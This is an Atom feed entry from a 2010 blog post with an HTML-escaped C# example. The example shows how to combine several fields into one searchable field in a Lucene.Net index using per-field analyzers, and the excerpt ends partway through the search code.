		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-multitokenstream-for-lucenenet" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-multitokenstream-for-lucenenet" type="text/html"></link>
		<published>2010-12-16T00:00:00+00:00</published>
		<updated>2010-12-16T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Someone asked in the Lucene.Net mailing list about implementing something similar to SOLR&#39;s copy-fields.&lt;/p&gt;&#xA;&lt;p&gt;Here&#39;s a basic example of how to do something like that in a Lucene.Net Index.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Collections.Generic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;System.Linq&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Analysis&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Analysis.Standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Documents&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;  9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.QueryParsers&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Search&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;using&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;Lucene.Net.Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;namespace&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;MultiTokenStreamExample&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;Program&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Main&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;This is some content. 123 is a number. 456 is also a number.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric_content&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;789 this is normal text&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;StandardAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Lucene&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Net&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Util&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Version&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;LUCENE_29&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;PerFieldAnalyzerWrapper&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddAnalyzer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;numeric_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// typical index creation &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;RAMDirectory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;standard&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexWriter&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MaxFieldLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;UNLIMITED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;YES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ANALYZED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;numeric_content&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;numeric_content&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Store&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;YES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Index&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ANALYZED&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 43&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 44&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 45&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// special sauce&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 46&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 47&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;combined_field&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 48&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;MultiField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;combined&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 49&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Fieldable&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text_content_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;id_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 50&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;perField&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 51&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 52&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 53&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;combined_field&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 54&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 55&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;AddDocument&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 56&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Optimize&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 57&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;writer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 58&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 59&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 60&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// test searching against our combined field...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 61&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 62&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Searcher&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IndexSearcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;directory&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 63&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 64&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// hits on first field&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 65&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SearchCombined&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;searcher&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s&#34;&gt;&amp;#34;number&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 